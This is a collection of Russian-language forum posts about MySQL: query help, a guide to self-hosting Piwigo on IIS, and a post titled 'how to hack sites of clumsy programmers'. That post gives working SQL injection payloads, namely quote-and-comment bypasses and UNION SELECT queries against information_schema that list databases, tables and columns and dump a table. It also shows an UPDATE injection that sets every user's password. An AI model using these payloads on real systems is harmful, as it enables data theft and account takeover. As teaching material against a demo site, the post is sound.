Помогите с MYSQLI
Пропадает " Зубная щетка при таком запросе :SELECT offers.name,requests.price,requests.count FROM requests INNER JOIN offers on requests.offer_id=offers.id GROUP BY offers.name,requests.price,requests.count ORDER BY offers.name;
Как выкрутиться с ситуации
Хостинг сайтов для домохозяйки на примере Piwigo (IIS PHP MySQL). Часть 2 - настройка Piwigo.
Установка PHP MyAdmin
PHP MyAdmin — это веб-приложение для управление MySQL сервером. Скачать его можно без рекламы и смс.
Нам нужно определиться с каталогом для хранения сайтов. Я выбрал диск D. не забыдьте добавить разрешения на запись для группы безопасности «IIS_IUSRS». Создадим каталог для Myadmin и распакуем его туда. Откроем Диспетчер IIS
InetMgr.exe
Нам требуется добавить сайт для MyAdmin — в этом ничего сложного нет, всё интуитивно понятно.
Не забудьте настроить DNS для работы новых сайтов. Для локального тестирования я добавить записи в файл hosts.
127.0.0.1 myadmin.uhanov.org
127.0.0.1 piwigo.uhanov.org
Откроем в браузере адрес myadmin.uhanov.org. Логин и пароль используем, что создали при установке MySQL.
Создание базы данных и назначение прав пользователя
В окне PHP MyAdmin смело нажимаем ссылку создать базу. База будет пустая, о чем нас уведомят.
Теперь открываем пункт привилегии и создаем нового пользователя с полными правами на базу. Все данные пользователя записываем.
Настройка Piwigo
Перейдем на сайт piwigo.uhanov.org и укажем все данные, что мы задавали ранее и учетную запись администратора галереи.
Установка и настройка завершена.
Самый важный вопрос, что предстоит решить — это доступ к галерее из интернета или с компьютеров локальной сети. В любом случае, вопрос разрешения имен придется решить.
Хостинг сайтов для домохозяйки на примере Piwigo (IIS PHP MySQL). Часть 1 - установка.
В прошлой своей заметке я говорил о Piwigo и обещал рассказать об установке и настройке дома. Здесь я не буду рассматривать Windows Server или Linux системы. Про linux позже. Впрочем, инструкция применима к Windows Server чуть более, чем полностью. Определим системные минимальные требования решения:
- Windows 7 (IIS 7.5)
- PHP 5.2
- MySQL 5
Это достаточно древнее программное обеспечение - использовать его мы конечно, не будем. Но и последний MySQL 8 несовместим с Piwigo.
- Windows 10 (IIS 10)
- PHP 7.3.0
- MySQL 5.7.24
Установка веб-сервера IIS
Веб-сервер входит в поставку Windows, остается его включить. Для того, что-бы сразу попасть в нужное меню панели управления, в меню выполнить (WIN+R) введем команду:
control appwiz.cpl
Выбираем пункт: включение и отключение компонентов Windows. И включите компоненты, как на снимке ниже.
После окончания установки (и перезагрузки) откроем в браузере адрес http://localhost. Должна открыться страница как на снимке ниже. Если всё хорошо, то продолжаем.
Установка PHP
PHP поставляется в виде архива, который следует распаковать в Program Files (или в Program Files (x86) в зависимости от разрядности). Переходим по ссылке и скачиваем PHP, соответствующий разрядности операционной системы. Нас интересуют только Non Thread Safe версии. Обратите внимание на версию Visual Studio Compiler - его тоже придется скачать в соответствии с выбранной версией PHP. Ссылки слева на странице.
Нам так-же потребуется PHP Manager. Скачать можно у Microsoft.
После установки и распаковки всего вышеперечисленного, открываем панель управления IIS.
InetMgr.exe
Там открываем PHP Manager и регистрируем распакованный PHP.
После регистрации PHP, нам надо проверить его работу. Проверьте, что указана именно ваша версия PHP (отмечено зеленым) и нажмите ссылку, отмеченную красным. Должна открыться страница как на втором скрине ниже.
Крайне важно отсутствие любых ошибок на этом этапе. Идем дальше.
Установка MySQL
Нас интересует MySQL Community Server. С официального сайта качаем инсталлятор для Windows. Качайте веб-инсталлятор - все компоненты нам не нужны. Выберите ручную установку.
Настройте фильтр на показ других релизов. Далее момент, требующий уточнения: нам нужно выбрать MySQL последний из версии 5.х, разрядностью, в соответствии системе. Notifer поможет в управлении службой.
Задайте очень хороший пароль пользователю root. Создайте нового пользователя с полными правами и хорошим паролем. Разрешите вход только с localhost. Им и пользуйтесь.
Установку мы закончили, во второй части рассмотрю настройку.
Руководство для начинающих пользователей, им знать про Nginx и Apache пока рано, но всё будет.
Как ломать сайты криворуких программистов.
Ломать сайты можно множеством способов, но один из самых простых и эффективных, если программист достаточно криворукий это SQL-инъекции
Давайте же немного обсудим данную тему.
Для того чтобы понять что тут происходит в принципе не нужно уметь программировать, знать SQL язык. Достаточно быть не сильно идиотом.
Что из себя представляют SQL инъекции? Это некие неправомерные действия, которые не предполагались выполняться данным скриптом.
Если привести пример из реальности, то это будет нечто такое:
Мать написала отцу записку:
Купи Васе конфет
А Вася взял и дописал: " и Пива"
В итоге отец видит записку:
Купи Васе конфет и Пива
Конечно когда прочитают логи и сверят данные Вася получит ремня, но временно он взломал систему. (поэтому правило первое, старайтесь действовать так чтоб вас не спалили)
Тут я подготовил простенький интерфейс на котором можно побаловаться:
https://test.ser60v.ru/injection/
По нормальному мы можем добавить строку, либо вытащить данные по поиску данной строки, дабы каждый ещё смог оставить немного своей дури:
Попробуем в поле поиска вбить не ololo
а
ololo' -- pikabu
Вывод выдаёт то же самое, итого мы можем применять инъекции.
В коде на сервере запрос выглядит так
SELECT * FROM `example` WHERE `text`='$find'
Мы же сами закрываем кавычки и комментируем всё последующее двумя дефисами.
Профит.
Что же мы можем сделать теперь?
Например добавить свой вывод:
' AND 0>1 UNION SELECT 1,2 -- pikabu
В этом случае мы выводим 1,2, но кому это интересно?
Если уж мы получили делать возможность инъекции необходимо узнать структуру базы, дабы получить возможность формировать желаемые запросы.
Получаем список баз
' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(table_schema)), 1 FROM information_schema.columns WHERE ''='
Таким запросом мы получим список баз к которым у данного пользователя есть доступ.
Тут в принципе не нужно ничего понимать, мы выводим столько же полей, потому как знаем что у нас их 2. Но в первое выводим через запятую все базы, к которым можем получить доступ.
Отлично, мы знаем что наша база называется injection
Теперь получим список таблиц нашей базы
' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(table_name)), 1 FROM information_schema.columns WHERE table_schema='injection' and ''='
Получаем список колонок из таблицы secret
' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(column_name)), 1 FROM information_schema.columns WHERE table_schema='injection' and table_name='secret' and ''='
Их внезапно тоже 2, так что не парясь можно получить всё содержимое.
' AND 0>1 UNION SELECT * FROM secret WHERE ''='
Много воли я решил не давать вам на сервере, например нет возможности редактировать структуру базы, создавать новые таблицы, удалять строки. Иначе начнётся тотальный треш.
В сущности, сейчас найти данную уязвимость практически невозможно. Но всякое в жизни бывает...
Так например было дело, на каком-то ресурсе удалось при редактировании своего пароля установить такой пароль всем, потому как было что-то типа:
UPDATE `users` SET `password`='$password' WHERE id=$id
Ну и если мы делаем переменную $password
newPass' -- ololo
То пароль newPass ставится для всех пользователей.
Защититься от инъекций куда проще, чем их использовать, но если доступ к оным получен - это дарует много возможностей.
Если кто-то сможет сделать insert/update в таблицу secret каким-то образом - с меня пиво первому сделавшему..)
Вопрос к программистам
Привет, Пикабу. Задумал я создать свою базу данных для личных нужд на MySQL, но опыта нет, так что возник ряд вопросов: где лучше всего покупать хостинг, нужен ли домен, и есть ли к этому всему внятные мануалы.
Почему же я просто не загуглил? Дело в том, что когда я изучал андроид, то часто попадались сайты, где вся информация была непонятной, непоследовательной, а иногда и попросту неправильной. И в итоге нормальный список нужных сайтов я нашел в комментариях Пикабу.
Заранее спасибо.
Помощь в вопросе SQL запроса
Привет всем.
У меня возникла небольшая проблемка в запросах mysql.
Вообщем ситуация такая -
Хочу переделать скрипт от старого типа запросов на новый, поскольку у старого типа есть лишние поля + неправильные наименования полей.
И как из этого следует - запрос не выполняется.
Вот пример запроса.
REPLACE INTO `creature_template` (`entry`, `difficulty_entry_1`, `difficulty_entry_2`, `difficulty_entry_3`, `KillCredit1`, `KillCredit2`, `modelid1`, `modelid2`, `modelid3`, `modelid4`, `name`, `subname`, `IconName`, `gossip_menu_id`, `minlevel`, `maxlevel`, `exp`, `faction_A`, `faction_H`, `npcflag`, `speed_walk`, `speed_run`, `scale`, `rank`, `mindmg`, `maxdmg`, `dmgschool`, `attackpower`, `dmg_multiplier`, `baseattacktime`, `rangeattacktime`, `unit_class`, `unit_flags`, `unit_flags2`, `dynamicflags`, `family`, `trainer_type`, `trainer_spell`, `trainer_class`, `trainer_race`, `minrangedmg`, `maxrangedmg`, `rangedattackpower`, `type`, `type_flags`, `lootid`, `pickpocketloot`, `skinloot`, `resistance1`, `resistance2`, `resistance3`, `resistance4`, `resistance5`, `resistance6`, `spell1`, `spell2`, `spell3`, `spell4`, `spell5`, `spell6`, `spell7`, `spell8`, `PetSpellDataId`, `VehicleId`, `mingold`, `maxgold`, `AIName`, `MovementType`, `InhabitType`, `HoverHeight`, `Health_mod`, `Mana_mod`, `Armor_mod`, `RacialLeader`, `questItem1`, `questItem2`, `questItem3`, `questItem4`, `questItem5`, `questItem6`, `movementId`, `RegenHealth`, `equipment_id`, `mechanic_immune_mask`, `flags_extra`, `ScriptName`, `WDBVerified`) VALUES (500500, 0, 0, 0, 0, 0, 24787, 0, 0, 0, 'LordKoki', 'By <Koki>', '', 0, 82, 82, 2, 16, 16, 0, 1, 1.5, 4, 3, 2000, 2480, 0, 300, 6, 2000, 0, 1, 0, 2048, 8, 0, 0, 0, 0, 0, 21, 30, 4, 4, 0, 0, 0, 0, 50, 50, 50, 50, 50, 50, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5000000, 5000000, 'SmartAI', 0, 1, 1, 115, 10, 5, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 618348543, 0, '', 12340);
Как определить в таком длинном запросе привязку Values к конкретному полю, например faction_A к его значению? просто нужно удалить оба поля (столбца) а их значения искать сложновато вручную и удалять, есть ли утилита которая позволит при удалении поля faction_A удалить и его значение сразу? либо хотябы при выделении поля - выделять и значение которое ему принадлежит?
Я уже облазил гугл, но не нашел ответа.
Просто сами думаю понимаете что вручную искать значения в этой мешанине очень долго и муторно.
Есть альтернатива в виде закачки базы под этот запрос, и уже в нем удалять это все, но это тоже долго и бессмысленно.
Вообщем надеюсь на вашу помощь.


























